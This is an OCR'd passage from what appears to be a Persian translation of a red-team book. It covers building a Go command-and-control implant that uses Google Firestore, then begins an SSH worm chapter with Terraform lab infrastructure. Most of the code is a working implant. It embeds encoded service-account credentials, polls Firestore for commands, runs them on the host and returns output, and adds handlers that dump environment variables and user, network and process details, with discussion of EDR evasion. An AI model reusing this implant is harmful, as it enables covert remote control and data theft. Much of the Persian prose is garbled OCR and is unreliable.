F(201 (K Led Jale v 43 (385 () vy ) 4dldie (i e AL 5 i€ 3L 5 35lia | output.txt

output.txt #
total 80
. drwxr-xr-x 7 foo.bar staff 224B Dec 28 00:25
.. drwxr-xr-x@ 18 foo.bar staff 576B Dec 28 00:21
rw-r--r-- 1 foo.bar staff 2.3K Dec 28 00:23 bucket-sa-key.json-
rw-r--r-- 1 foo.bar staff 2.7K Dec 28 00:23 go.mod-
rw-r--r-- 1 foo.bar staff 19K Dec 28 00:23 go.sum-
rw-r--r-- 1 foo.bar staff 5.6K Dec 28 00:23 goslowc2-mvp-1.0.go-
rw-r--r-- 1 foo.bar staff 7B Dec 28 00:25 input.txt-

> o0A Olea i | gled g ) Al e B oS L2 & GCP 2—u )2 1) status 4a—b sy il 5 e (pinas
JSON B )3 oadie A Cumiin g 5 e ) yen Dle Dl (pises 5 coutput.txt

Cuibual (5 S eh 5 paliin) Culild 5 g
ool a8 Vol 3510 dpa s Sy (510 Jilie A Lal ey e Cd 4h Gl L MVP S oo 4o Cailaay) (ol
il 580 pills il sl ja On GCOP (ke i i 43 daa Glad slaaid ) a5l 5 gl
cailer a3 (Y sh a3 Gl input.txt JS) caiSe () 1) aiw ki 3 4 4S JSON status 4—is b
G S (I L el g s s IS a9 a8 e Al S shts Ol Gl (s sa) 40 Ja uilial
O G s Jld Cptia Sy jude e 4dlg) Caibiag) 50 b Gl S ) e e Ja 5 R el s

i 38 ] (558 i G 5 S (555 WS (g 1 15 35 308 Sty (sl Lok el 5 .o a0

zh—u 20 JSON _» il s Jg—aane S S s GCP Firestore 43 omad b ag) ) (A il sie
sesdle S uler S sl sk Firebase sk Ol edldii il b (2Bl s ey 40 S 3 slaasli e (sl 2 48 08
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)\ saldinl b \Adﬁ\ﬂ J}L\J )\ )3\_\}.3 Q) iy \) u\..q)ﬁ IR WY e cJ\A\ Lod 4 Firestore A ) ‘5:3};4\5).;4
L;}J.L:ﬁée\iﬂ }Cﬂbﬁ@uﬁ‘)&ié\ﬁ Iy olaal o ab cd\_so:i\\_.\_A:\.'\SbJAL_..LJAJUGCP storage
A5aa 1) 5 Gy (Hn Cnined 0213 UL G 4n JWEE) S Syl Lagler S sha) slade s lagla i

b San calide slagl jae 3 Cuilial () jal aaia Cy e

S 5 iy 5 O aalS 3 8 oS a0 Sl el Gala )8 e 4 by Lliaia ) El Al se s (sl
Db el il (S 45nd S g ) o3l 5 5 80 e @l 5 (AR 0 b i sie (5 Jlpere 510 p S
6&)35\)\5&\).'\\%dALiﬁ@\)}AS&\A&)\K}AJJ\Mcdﬁ\uﬁﬁl&d\ﬁ S0 Glol ) s ail 8 6l 0 ) ) EDR

ek Ll Bl slagSaul o auil @i e 9 58 4S 35S aal A paldiul 2t hex b Base64 a4 UTF-8

Firestore cs\a ) sae (520 S

ol (5 5l A3 s (5 31a) (5 0 4S sl 8 Glea ) capa Culiadl () Firestore sl jsae s 518kl )
1S e saldil 2 S

.30 AP Firestore ¢l alagl 5 ¢idgh ¢l A (sla ) saa alad Juld 4S S alagl s (23 )l [AM Jiss S5 )
A€ ol (e Cailiay) CuliE (o) 5y o g e s S LY
S jaba g alag) o Qg e Sl 5) 0 1 JSON S |

28 Galiald) g pu laa 4 ) 258 23l I8 5 05 3 JAM & Admin L) 2 1AM Jsde 4 €

pdiine La 2 i a3 Juli ) Firestore s>« APl slasli 48 Google Cloud JsiS ecallaa ol (il g8 gl ) 2
Owner G ) i e apagi Lo ol 003 (Ko ) Jsanse (1250 2 Jils 4S ol GOP ane 53 B S (il
Clla b ) 2l se 2l i eOlaaal Gol it 99 S 3 game (gl 5 2 ool (e 31 (61 W Jsme ) (A8

;S saldiu) Firestore (s

datastore.databases.create datastore.databases.get
datastore.databases.list datastore.entities.get
datastore.entities.list datastore.entities.create
datastore.entities.update datastore.indexes.get
datastore.indexes.list datastore.indexes.create

IAM Js5ke (s s ms Hlusa 49 Owner Gt Galaaial call Jael ) ) asl e e 505 alie 0ol b R
525 sala ul.uu Yv-¢ ds;& DM a< thum c.J,ng saldin)
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Permissiona for peoject “wec- Lok

B umea
[+ = |

Figure 4-17: The GCP IAM owner permissions workaround for service accounts and Firesiore

Firestore s uusw slua ) 0 GCP IAM 2 Owner s\a ) sae < ga Jaol y 1V V-8 IS

CLI J\ bjm_u\b\‘)uﬂs;%d\)ﬂsn :\Ju J.\.\SGA J\S b&_JA’.’ILAJ‘ dJL JAASL\LQ_)}M‘\S AASL;AL)M’JJSQJJ o
.20 JialS Cloud Shell 2 GCP

Gl 5 i€ e el 1 258 Gurs e Clua JSON A 4S 3 8 (iakaa (€ e o3l 9o Jaoly o) ) S 4a
S Jlad e 5 Jlad olBilej Jsh 2 i Cuysea 53 1) Qg m

Firestore (12 S 4dlia) ¢ Wl jliie) 5 jlula

LIS bl S )Tl Ganedy 4S A0S (1 8 0L aiS e g5 G al le) 5 DAl jo Ll 4l e bl
JSON S b Cada (gl 25— 2l 6550 5 sad oy GaaS ) J8 Al 5 Gl 0081 jlad a) Wl Ll sy
sl s jldie) il 3 Sl sa s lla o lde) (s 1€ ey ) ool U S 3 Lasiians |y laasli jliie | Lash cail@laa
Gl (sl ) 3l T s 5iaS Lal ectins) ol Cilitin (5 581 S slade same 53 O (5 Jlomsedly 4S5yl ) Cad hiex

b e 45ALS BgseB64 L hex 4 Cuwi JKa A

sl 8 025 ) Jay JUALL S5 40 358 s e s JSON 2 o (51 (SaS g JSni) S5 2l ol
s alal

Sl Jaad ol goslowce2-firestore-1.1 Al s 480 550 )y json2dec-encoder b5 1) . )
S S align ) o) 0 ) (A\S Firestore b nae la jsaa L) 358 g pw bs JSON S Y
FS ol 1 IR e slagle h catiun adigy ) 00 st aS s oY
.If you downloaded the folder, you can remove go.mod to prevent an error #
go mod init json2dec-encoder

go mod tidy
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.Ensure your JSON file is renamed to the following #
.Ensure your JSON file is named firestore-sa-key.json #
go run ./json2dec-encoder-file.go

OV ealdinl  nini json2dec-encoder 44w n) 32 )y encoded_output.txt B U i€ & 3L Y €
sais IR ja ) sladali i) a8 e yiolal il Bl dlag) (52 1) Cusn 5 (S stdout slade Jd o 5a
1 sd g g lld ol bl Led

}encoded :=[]int

YY OA YE WA NIY AYY NVTOYY YY FY Y. Yy
4999 4y 0Y V) e Yo AYA NYE Ye) VYo Y
--snip--

JSON b JS 5 35 1 YU goslowc2-firestore-1.1 4—iisy 5o gl So a5 oS S8l s b Jline i )3 Vs
U S da 5 Camlge 5 51 Ralali 4) 1S 5 )Rl ()getCredentiallSON &l (53 1) 293 sadis )1 3a
(S oSl (ALl S a3l

} func getCredentialsJSON() string

}encoded :=[Jint

...BEGIN EXAMPLE //

Y OA FE VY Y AYY VT YE FY YY Ve
49 49,4V 40 V) 49 V.0 VYA NVE V) VYo v
SO Y FEYY OFY Ve £5 FE 49 V). VY V)
.END EXAMPLE... //

{
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Shep by slacullE 5 Firestore (Sa S e is Jlula (slaaslijlie) b JalS (o5l woaly Y-8 G jed
23 e Ll |y 438000 gags

package main

) import

"context”

"fmt"”

"math/rand”

"os"

"os/exec”

"runtime”

"strings”

"time"”

"cloud.google.com/go/firestore”

(

Configuration variables //

) const

"PROJECT_ID = "YOUR-PROJECT-ID
"DATABASE_ID = "FIRESTORE-DB-NAME
CYCLES =10// More cycles to test with
MIN_SLEEP_TIME =15// 15 seconds minimum
MAX_SLEEP_TIME = 30// 30 seconds maximum

(
} func getCredentialsJSON() string

.PASTE THE CONTENTS OF encoded_output.txt HERE //
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========================================== //
}encoded :=[]int

...BEGIN EXAMPLE //

XY OA FE V) MY YY) AT YE O YY YY Ve e

4949 4y 90 1) 49 Yeo 1VA VYE V) VYo v

e Y FERY PY Y. £6 YE 49 1) VY V)

.END EXAMPLE... //

{
========================================== //

.Convert back to string //

chars := make([Jrune, len(encoded))
} fori, num :=range encoded
chars[i] = rune(num)

{

return string(chars)

{

} type Command struct

""ID string " firestore:"id

""Command string " firestore:"command

Status string " firestore:"status"" // Pending, running, completed, failed
""Output string  firestore:"output

""CreatedAt time.Time " firestore:"created_at

""ExecutedAt time.Time " firestore:"executed_at

""AgentlD string " firestore:"agent_id

“"Error string " firestore:"error,omitempty

{
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var agentID string

} Ofunc init

.Create temporary credentials file //

tmpFile, err := 0s.CreateTemp("", "svc-*.json")

}if err 1= nil

panic(fmt.Sprintf("Failed to create temp file: %Vv", err))

{

.Write decoded credentials to temp file //

}if _, err:= tmpFile.WriteString(getCredentialsJSONY()); err != nil
()tmpFile.Close

os.Remove(tmpFile.Name())

panic(fmt.Sprintf("Failed to write credentials: %v", err))

{
()tmpFile.Close

.Set environment variable to temp file //
0s.Setenv("GOOGLE_APPLICATION_CREDENTIALS", tmpFile.Name())
.Schedule cleanup of temp file on exit //

} ()go func

.time.Sleep(1 * time.Second) // Give time for client init
os.Remove(tmpFile.Name())

Wit

agentID = fmt.Sprintf("agent-%d-%d", time.Now().Unix(), rand.Int())

{

} func getFirestoreClient() (*firestore.Client, error)
()ctx := context.Background
client, err :=firestore.NewClientWithDatabase(ctx, PROJECT_ID, DATABASE_ID)
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}if err 1= nil
return nil, fmt.Errorf("failed to create firestore client: %v", err)

{

return client, nil

{

} func createlnitialSchema(client *firestore.Client) error
()ctx := context.Background

.Determine OS-specific command //

var defaultCmd string

} "if runtime.GOOS == "windows

"defaultCmd = "dir

}else {

"defaultCmd ="ls -lah

{

.Create initial documents //

}err :=client.Collection("commands").Doc("schema").Set(ctx, Command ,_
,"ID: "schema

,"" :Command

,"Status: "completed

,"" :Output

,()CreatedAt: time.Now

,"AgentID: "schema

(

}if err I=nil

return fmt.Errorf("failed to create schema: %v", err)

{
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.Create a default command //

Yerr = client.Collection("commands").Doc("default-cmd").Set(ctx, Command ,
,"ID: "default-cmd

,Command: defaultCmd

,"Status: "pending

,"" :Output

,()CreatedAt: time.Now

,"" :AgentID

(

}if err 1= nil

return fmt.Errorf("failed to create default command: %v", err)

{

return nil

{

func getNextCommand(client *firestore.Client) (*Command, *firestore.DocumentRef,
} error)

()ctx := context.Background

query := client.Collection("commands").Where("status", "==", "pending")
()docs, err:= query.Documents(ctx).GetAll

}if err 1= nil

return nil, nil, fmt.Errorf("failed to query commands: %vVv", err)

{

}if len(docs) ==

return nil, nil, nil

{

.Take first pending command //
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[+]doc:=docs

var cmd Command

.Only expect command and status to exist in document //
()data := doc.Data

cmd.Command = data["command"].(string)
cmd.Status = data["status"].(string)

Fillin the rest //

cmd.ID = doc.Ref.ID

"" = cmd.AgentID

}if _, exists := data["created_at"]; !exists
()cmd.CreatedAt = time.Now

{

return &cmd, doc.Ref, nil

{

Yfunc updateCommandStatus

,client *firestore.Client

,docRef *firestore.DocumentRef

} cmd *Command) error

()ctx := context.Background

.Convert command struct to map for update //
H}updateData := map[stringlinterface
,status": cmd.Status”

,output": cmd.Output”

,agent_id": cmd.AgentID"

,error": cmd.Error”

,executed_at": cmd.ExecutedAt”
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{

err := docRef.Set(ctx, updateData, firestore.MergeAll) ,_
}if err 1= nil
return fmt.Errorf("failed to update command: %v", err)

{

return nil

{

} func runCommand(command string) (string, error)
parts := strings.Fields(command)

} if len(parts) ==

return ", fmt.Errorf("empty command")

{

cmd := exec.Command(parts[0], parts[1:]...)
()output, err := cmd.CombinedOutput

}if err 1= nil

return string(output), fmt.Errorf("command execution failed: %v", err)

{

return string(output), nil

{

} ()func main

()client, err := getFirestoreClient

}if err 1= nil

fmt.Printf("Failed to initialize Firestore: %v\n", err)

return

{

()defer client.Close
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.Create initial schema and default command //

} if err := createlnitialSchema(client); err != nil
fmt.Printf("Warning: Schema initialization error: %v\n", err)
Continue anyway as schema might already exist //

{

fmt.Printf("Agent ID: %s\n", agentID)

fmt.Printf("Running on OS: %s\n", runtime.GOOS)

} ++fori:=0;i<CYCLES;i

sleepTime :=time.Duration(rand.Intn(MAX_SLEEP_TIME-
* MIN_SLEEP_TIME+1)+MIN_SLEEP_TIME)

time.Second

fmt.Printf("Waiting %v seconds before next cycle...\n", sleepTime.Seconds())
time.Sleep(sleepTime)

fmt.Printf("Cycle: %d\n", i)

.Get next command //

cmd, docRef, err := getNextCommand(client)

}if err 1= nil

fmt.Printf("Error getting next command: %v\n", err)

continue

{
}if cmd == nil
fmt.Println("No pending commands found")

continue

{

.Mark as running //

"cmd.Status = "running
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cmd.AgentID = agentID

()cmd.ExecutedAt = time.Now

err = updateCommandStatus(client, docRef, cmd)

}if err 1= nil

fmt.Printf("Error updating command status: %v\n", err)

continue

{

.Execute command //

output, err := runCommand(cmd.Command)

}if err 1= nil

“cmd.Status = "failed

()emd.Error = err.Error

} else {

"cmd.Status = "completed

{

cmd.Output = output

.Update final status //

err = updateCommandStatus(client, docRef, cmd)
}if err = nil

fmt.Printf("Error updating final status: %v\n", err)
{

{

{

Firestore »2l2 a@\ﬂ\;\ 5 o2ds ula JSON gy lon IS 1 4880 gagy Cuiliay) Y- Cas el

A el e Hbigd 1 A8 Gag e bus AlS g aS (BAa encoded_output.txt A cad WS ol aS ‘5‘@_&
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5 Sbmpgaa 1 Wl e ) (Saluy Lk ca i a5 sulS a8 Lail 31 0y 80 oLt 3 8 ey L 1 IR Jay 4a i
O 5 sl s dn 1 sl Culed 5 (el S (i bl aS ol ) (588 e D) el pae iy 2 s
_&J@)\)éw)h&)&d#d\ﬁud)ﬁ)}b‘\_]\)O‘}‘Mﬁwdﬁ])&\gsandboxﬂd\g|J

lla s (gl 00l o800 alal 1y la K0 ala e G e Sl (5l a5 8

Firestore 212 oL sl

Create a Firestore s oa— 5 2S 3)ly saiwa 4ma 3 ) firestore «Google Cloud Js—S 50 )
I Firestore Native <lla 2 s Culaa Create Database 20! ns 40 1) Le—d 48 0K SUK Dagtabase
) s B ealy s YA€ JSd 50 4S jshiler S o5 1y a5 Hhi ) ge dihia g eala sl8GL Al 5 S A

ey AL aitis 48 gaclen 2 gi e 8on lalati ala

= GCoogle Cloud & vechd faestore
& Create database
@ Select yout Firestore mode Name your database
Database 0 *
o Configure your database 10me rame
Location
Locaton type
® Regen
O Mumregen
Rograw *
ws-east! (South Caroira) % -

Figure 4-18: The Firestore Create Database wizard

Firestore 2 Create Database 2)) ns :YA-¢ J8&

Z Ol 25 02l o8l 4S s KL Firestore (lual 4aina 43 I 43S (SIS Create Database s
3 ) Jlad sadisaigle ) s R0kl

L_ulm.\\ o) al g gl
rlea S (Sl ys e 1) ) sk Sy W e 4S 5 (iadae 0 A i) () pal ) U8
Configuration variables //
) const
"PROJECT_ID ="YOUR-PROJECT-ID

"DATABASE_ID = "FIRESTORE-DB-NAME
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CYCLES =10// More cycles to test with
MIN_SLEEP_TIME =15// 15 seconds minimum
MAX_SLEEP_TIME =30 // 30 seconds maximum
--snip--
22 1 al ) alaitind slagle s b)) chiliay) S a0 (5 jutina 5 oaldl b Yla
go mod tidy %
go run ./goslowc2-firestore-1.1.go %

4 ee2ll s gl 0 glesd o) Cib sl 0 Al sa (ol JASE alaal (o) 1) Al Cama g slaaly (Jle 5 0
0l Al Sl (51 0 3L Firestore U2 1) 26 sadalagl o 3l sala a@s_}g 535 35 Google Cloud JsS
slaciin) bald 5 ((JSON (sbacs s ys) biasd «(Las 5 £) lade sama 3 JSiia il yetlules JliaLu SG 3) Firestore
rnd 4yl 2w 50 (g sla 4S A commands AU 4 s e e SO Al S e saliul (Al (550 hae-2lS
Ad s aliia (5 55 s G yed SO s ks 4S) default-cmd e 5 1S e oaliiul o ) il 4€ schema i
s al A% failed L completed 42 pending ) 4S 313 status alé o aiw 4 (as sl le 5 8

(i 1) VY A-8 JSE) 2 sdien (Sl s LAOle s

Figure 4-19: Viewing collections in the Firestore database

Firestore 22312 a\gu\_a ) lade genc sdalie 1V 4-8 G

2310 oy ain phai 43 a8 50 ASh Al | pal aglae ks | Lol i lea dsanal sk S0 sadi i 3l S
SiSIaa G eauly e dalal 35S (i S DB A4S sl (slas 3l b (o ki3S e sa s0m g 23 slcle b s n 1)
) Vo a) g ) 0 aS e S laii Al Jal) 43 ja alaad

LS 5 Gl G 5 288 SIS J g€ (638 e 0 ya 53 Add Document sy sciia 40 gl b (50 S 48l (g
:(J..’ﬁ\.g..\._l\‘)*~—i d&u)dﬂﬁd\aﬂ\ I

command = your-command

status = pending
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JJ.SGA)\)ﬁg_La)J&M@Jﬂ)&ﬁﬁ)&\}‘&\}dﬁhu&)&‘Jgd)Scﬁ;J\)M‘\SGA@\_&

Add a document

Paver pats
Frtd name - v [EERTY
e | vy v | whoam
t .t e Foeld tppe “ oo
snn | 2 - l‘- 3ng | -
I O

Figure 4-20: Adding a document in Firestore

Firestore 2 diw SG (o S adlal Y-t IS4

S )y | pending Cumaa s U aiS e )l SS ¢ieli 31 laich ja cdin 8 ) atuphi4d a0 il
al Gla) sl s 5 ¢ 54 «(failed b completed) was Cueag i L)) 2w g2 jal ) e
(R 1) VY-8 JS8) a0 Sl s

commands L 3 i CXMacmim baBqUSL MPS Te
+ A D & + ANT ( L4 o
- "
CHA WREGBSS S MPSTe > B ot | FERVI N TSRV TRV
- -
Cecemsber 77 2004 M IV IMANUICSH
servas chem
- glutee!

JABNARGEIAPL TYE0D >

Figure 4-21: Firestore document status updates after successful implant execution
cuiliay) (38 5 5l ya) ) G Firestore e Cuma g slaila ) )5 a0 1Y) - IS
S Jlad ol pae S8 1) s e Sl (s ylnd 2S5 a0 4aila | il 4S 00 (sl B

QSAAQL%\A?;\_A.'\.'\S‘_fa\)_a\\JL«.&’:@\AQ\AJQL&EDRGﬁju"_t_u\dd_&jﬁé)gamswﬁLg\)gsj\)ijdﬁ
\Jﬁwg)ﬁwhoami Aile LOLBiNS ) ealai) ¢S ) y8 yo Jals ) Ladi 4o g2 08 jitse JSdia (s Cuul
_JSJ,\ZGADJESM\d)b).}o)@.})"wq@duoj;hijhoioﬁdﬁ\@ﬁ

sola) J.\.A‘)l:u ‘_,_.qu.u Sll< Lsuﬂ.uﬁ Lol el ‘_AA\J EDR LS\AUJ,) 09 9 ‘;JAJIA..» ﬁuﬁ So Al Jm:\\ d;c\)
e e (S Sofia (s 253ne lagn Bila Al iglee 2 S0, Sy okl Sdli () e 58 DB G lea
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ot ) Qliial 4 B S e Al \)ub}u:ﬁsdawdumﬁﬁqa}muﬁm exec Go 4w ) Lk ‘3\.}5
2gana slacn Bl sl 6 5 Go al sladig ) osaldiul 6 gad (pala Gl L1y sdl cl Yot o jed 2 (SaS

23 58 258 5 (5 S S Gl (Sae 4S (23 )law LOLBIN
If directly pasting, add net and os/user to imports //
Custom command handlers //
type CommandHandler func() (string, error)
}var customCommands = map[string]CommandHandler
,xsysinfo": getSysInfo”
,xnetinfo": getNetInfo”
,xuserinfo": getUserInfo”
,Xprocinfo": getProcessinfo”
,xenvinfo": getEnvinfo”
{
} func getSysinfo() (string, error)
var info strings.Builder
info.WriteString(fmt.Sprintf("OS: %s/%s\n", runtime.GOOS, runtime.GOARCH))
()hostname, err := os.Hostname
}if err ==nil
info.WriteString(fmt.Sprintf("Hostname: %s\n", hostname))
{
}if wd, err := 0s.Getwd(); err == nil
info.WriteString(fmt.Sprintf("Working Directory: %s\n", wd))
{

return info.String(), nil

{

} func getNetlInfo() (string, error)

var info strings.Builder
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()interfaces, err := net.Interfaces
}if err 1= nil

nn

return"", err

{

} for _, iface := range interfaces

()addrs, err := iface.Addrs

}if err 1= nil

continue

{

info.WriteString(fmt.Sprintf("\ninterface: %s\n", iface.Name))
info.WriteString(fmt.Sprintf("MAC: %s\n", iface.HardwareAddr))
} for _, addr :=range addrs

info.WriteString(fmt.Sprintf("Addr: %s\n", addr.String()))

{

{

return info.String(), nil

{

} func getUserInfo() (string, error)

var info strings.Builder

} if currentUser, err := user.Current(); err == nil
info.WriteString(fmt.Sprintf("Username: %s\n", currentUser.Username))
info.WriteString(fmt.Sprintf("UID: %s\n", currentUser.Uid))
info.WriteString(fmt.Sprintf("GID: %s\n", currentUser.Gid))

info.WriteString(fmt.Sprintf("Home: %s\n", currentUser.HomeDir))

{

} "if runtime.GOOS != "windows

119
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} if groups, err := 0s.Getgroups(); err == nil
info.WriteString("Groups: ")

} for _, gid := range groups
info.WriteString(fmt.Sprintf("%d ", gid))

{

info.WriteString("\n")

{

{

return info.String(), nil

{

} func getProcesslinfo() (string, error)

var info strings.Builder

()pid := 0s.Getpid

()ppid := 0s.Getppid
info.WriteString(fmt.Sprintf("Current PID: %d\n", pid))
info.WriteString(fmt.Sprintf("Parent PID: %d\n", ppid))
} "if runtime.GOOS != "windows
info.WriteString("\nProcess Status:\n")

} if data, err := os.ReadFile(fmt.Sprintf("/proc/%d/status", pid)); err == nil
info.WriteString(string(data))

{

{

return info.String(), nil

{

} func getEnvinfo() (string, error)

var info strings.Builder
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} ()for _, env :=range os.Environ
info.WriteString(fmt.Sprintf("%s\n", env))

{

return info.String(), nil
{
2 o | gal S (63555 bl ) LOLBIN Jalzs @\}SASGO lading (V-8 s yed

4S aiian lagls) )48 dgde aSd 5 ulS il 8 slagle s 5 (dame la jaate G Kols (5l @l 55
U:I\LIL;JJJJL;L%LJLA)&Q]&LSGAW‘)}M\ w\n&ﬁﬁweﬁ&nmﬂw\ﬁ\J\)ﬂﬂ\J\w
\ﬁ\wﬁwob}dad\ﬁ\ggq\)cﬁm@\jeo@U‘Jﬁ:\_}(ﬁ}?ﬁ\}&MJ\JQ@&A&JE&JM&LA?U

A e S il e s ) (ol slle i il 4 x N gt 35S e

g0slowe2- J—ad 45y 5 JalS (gl wwaly HI L S a8l _al 23 g g0 N Ay ) —S)l8 w2l 55 L il 5 e
ot ) ) se 4 Lt Jgl (b ) (JrunCommand @l 48 4 3b 48 Gl 4a 5 S walél ) firestore-1.2
1S e

} func runCommand(command string) (string, error)

.First check if it's one of your custom commands //

} if handler, exists := customCommands[command]; exists
()return handler

{

--snip--

1 oal gley sl sial b asS (5 ludina | 025 s JSON 4S &5 (iadae (S e la) )y a0 4y K K
A ALk G S ) a) 31 dd (go mod tidy L) 1) go.mod e S s 5 canS ailas

83 e L |y LOLBIN ) ealiad ()53 sdaladl il ali sla i) sl s (slaagua YY-£ (S

Figure 4-22: Successfully executing a custom command for your implant with
Firestore

Firestore L Led bl () 0 (ol Jla i S (3850 ()l 1Y Y-€ IS
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GLRUK 5 2 Jlad ye 1) 0 g s laclun lai 4S 2 8 Giadae (S JalS ] oSl 3l ) 4S8 oK
(€ oalit sl Wase o Cailial ol 3 gl aad K1 A€ Gl Sl e saliiul s 8 sla 5) ) 253 JSON
F283 e i gn g 50l SO 0 L) O a1 b Kl 5 2 lailind cadle gla ) ealiiu

go build scriptname.go %

ot 8 Can _Jﬁ)\ﬂ&bﬂ)}iﬁ&-ﬂﬂ Iy e:\.\s‘_;.a‘\...g_‘a_;.\u} 2 gl i Cada Lol cua)ﬁtﬂ:\gjjkm
csla JSaLas 1 2 i cada | Laalad 48 33 Sa (s 3ol 5 (sl (o35 5818 packer <o S Jlee! (il mha
S Jalaie | (5 Jlagae 7 sk 5058l
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22N D) oty L ey CBIS S5 ) g 58 L S i a5 e | al GOP sy leda
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s

CREATING LATERAL EXPLOITS
WITH WORMS

La S L oils sl )la e s Al B

Al 5 1) e 55, G I e e L 5 35S e (Rl (6 il dia LS ) la S e sana sk
ngl_m‘%_u@_a o)\d.}\ Lg\).i Gy le LA(;)S c@\)\&jas; L;\).i A.USL;A Lng_uc.ﬂ.:\...\ (San ULAJ ugj@)_a» BN ){35\3
J.\SGA Jgdaa \J J.\J\AA?\.} RREN _)L_i B J.\J\JJGAASL;\D)SSD C2 L;LMLQLG‘\S cdﬁj.fi‘fo

1) SSH _» tiw Linux x64 slagl e 4S 2 )S ala alag) 4S5 Gladd 0 S jale p S So el a0 ) 0
Osedn |y pse o) n i o Jloal il e aidx e o jlal 1) SSH Casp sl 48 2as e ) B ara
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20 )8 1) RFC 1918 (LAN) el (slasa sase daid o

A 3 gane (gl xS Sl 5 W ali L)y 48l gLl o

S ok Ll ae (et 233 Cigie 3l s fsla 6l 53 el mutex e e

i lasia (G 0 S Jlad alls LS ) s ey ol b (e slabackoff ) Led ¢l s Cuan
D) el g egaiala) o i g olwd gaaa al Jgal bl ol yh jala e bl 5 S dal A ealdi
|) honeypot s Chroot 4y b s s aladl (Ul 55 rinas Lad 2 (2S00 aa) 43 J8 51 SSH 4S) 5 )50 3 )
) MULEX (o St 5 4wl sa el (S0 Jal ilial sladiilas 3 S 2l 3 adlial Cuisie 58 oLl 31 U

ad Aalai axaa cigie ) 8 la
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i il )
f 5l 3l ) ) se 4 ol )1 Gl JsSS )

A gad Cpadia dg i ey J s w5 Sl (358a b Google Cloud Platform (GCP) 655 Sa
4Sad ) Oled 55 Debian Intel x64 _» i VM
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(s oa)) sadicual Go (amy 4358 L VS Code »
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O )8 Caaa 4S5 S aal g saliiud main @l S o i sa i Salen o jlailin) als sla il sa) 8 ) J 5k ol
oR S ) e dald cQand aadioaly L3S V-0 IS 2 aS ol gl asdee g o8 (€ Dlenn) 4l Gl

560 e (Sl QL ) e (Uil R e g 1)y emutex J8 e Sy ) g <honeypot
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main()

| — ]

‘ isHoneypot() createMutexFile() setupCleanup() |

L

executeAndLogPayload()

‘ scanAndInfect()

/1

[ detectAndSetSubnat () isHostAlive() ]

s

| tryInfect() |

—  —

[ checkRemoteMutex() cupyAndExecutEHcrrl()]

Figure 5-1: SSH worm subroutines

In the next section, you'll use IaC to deploy and test the solution.

SSH aS sdisn) V-0 Jsi
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S ) i ealiind Jaol ) Gl 31 5 )i 11 1aC ) e camy (i3 50
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Figure 5-2: Activating the GCP Cloud Shell instance
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Figure 5-3: Opening the Cloud Shell Editor
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} terraform

} required_providers

} = google

"source = "hashicorp/google
version ="~>4.25.0"

{

{
{

} "variable "project_id
"description = "The GCP project ID
type = string

{

} "provider "google

project = var.project_id

region = "us-east1"

"zone ="us-east1-d

{
.Create VPC #

} "resource "google_compute_network" "rttd_network

"name = "rttd-network

auto_create_subnetworks = false

{

.Create subnet #

} "resource "google_compute_subnetwork" "rttd_subnet

"name = "rttd-subnet

ip_cidr_range ="10.0.10.0/24"
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region = "us-east1"

network = google_compute_network.rttd_network.id

{

.Create firewall rule for ingress internet access #

} "resource "google_compute_firewall" "allow_internet_ingress
"name = "allow-internet-ingress

network = google_compute_network.rttd_network.name
"direction = "INGRESS

} allow

"protocol = "tcp

ports =["22", "80", "443"] # Allow SSH, HTTP, HTTPS inbound
{

["+/+,+,+,+"] = source_ranges

{

.Create firewall rule for internal communication #

} "resource "google_compute_firewall" "allow_internal
"name = "allow-internal

network = google_compute_network.rttd_network.name
"direction = "INGRESS

} allow

"protocol = "tcp

["YY"] = ports

{

} allow

"protocol = "icmp

{

127

Apsec.ir

Ol Gl sl sala



Evasion Engineering (U8 i) Apsec.ir

source_ranges = [google_compute_subnetwork.rttd_subnet.ip_cidr_range]
{

.Create firewall rule for all egress (except SSH) #

} "resource "google_compute_firewall" "allow_internet_egress
"name = "allow-internet-egress

network = google_compute_network.rttd_network.name
"direction = "EGRESS

} allow

"protocol = "tcp

{

} allow

"protocol = "udp

{

} allow

"protocol = "icmp

{

["+/+,+,+,+"] = destination_ranges

{

.Create firewall rule to block SSH egress to internet #

} "resource "google_compute_firewall" "block_ssh_egress
"name = "block-ssh-egress

network = google_compute_network.rttd_network.name
"direction = "EGRESS

priority = 1000

} deny

"protocol = "tcp

Ol Gl sl sala
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["YY"] = ports

{

["«/+>+,+,+"] = destination_ranges
{

.Create three instances using count #

} "resource "google_compute_instance" "patient_instances

count=3

"name = "patient${count.index}

"machine_type = "e2-medium

"zone ="us-east1-d

} boot_disk

} initialize_params

image = "projects/debian-cloud/global/images/debian-12-bookworm-v20241210"
size=10

"type = "pd-balanced

{
{

} network_interface

network = google_compute_network.rttd_network.name
subnetwork = google_compute_subnetwork.rttd_subnet.name
} access_config

.network_tier = "BASIC" # This block ensures an ephemeral external IP is assigned

{

{
} = labels

"instance = "patient${count.index}

Apsec.ir
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{
} scheduling

automatic_restart = false
"on_host_maintenance = "TERMINATE
preemptible = true
"provisioning_model = "SPOT

{

} service_account

scopes = ["cloud-platform"]

{

} = metadata

"

shutdown-script = "echo 'Instance is being shut down

{
{

.Output both internal and external IPs #
} "output "instance_details
} = value
} <= forinstance in google_compute_instance.patient_instances : instance.name
internal_ip = instance.network_interface[0].network_ip
external_ip = instance.network_interface[0].access_config[0].nat_ip
{
{
"description = "Internal and external IPs of each instance
{
VPC o 5 VM 4 sad cpnia ) 3l ) Terraform HCL 1)-0 s yed

A ki 4 Cloud Shell JSil s daly 52 ab 4085 Lk main.tf Jilé s olis £-0 JS
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Figure 5-4: The main.{f file in the Cloud Shell Editor
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terraform fmt $
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Figure 5-5: Getting your GCP project ID
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= Google Cloud o My First Project

€&  Product details

Compute Engine API

AF

z

Compute Engine AP§

ENABLE TRY THIS APy (2 %

Figure 5-6: Enabling the Compute Engine API
in the Google Cloud console

Google Cloud JsS ;2 APl Compute Engine s jbudlad 11-0 JSi
1S al 1 ) slaglest 5 a0 850 Cloud Shell Sk s 42
terraform plan $
terraform apply $
A€ IR sla Alal abiald b JAJ8 s 15 O 4S 3sd Giahae i€ 3 )l 1 655 Amlid 3 5 e 4l A Led )

(Jg_\:m Iy V-0 JS\.&) A€ ol Gial py clda b ‘_L,JM alla d:ﬂé S S|l terraform p[an ¢Axy

xtec labsfcloudshell:~ (peppy-appliance-445723-g4)5 terrafora plan
var.project_id
peppy-appliance-445723-g4

Bater & value: peppy-appllance~-445723-54
Terraform used the selected providers to generata the following exec
create
Torraform will perform the following actiona:
# google_compute firewall allow internet egress w!ll be created
resource “google compute firewall® "allow internet egress™ (
sreation timestamp = (known after apply)
destination _ranges = | h

*0.0.0.0/0",

direction -

enable logging - ter apply)

id - Ler apply)
name - nternet-egress®
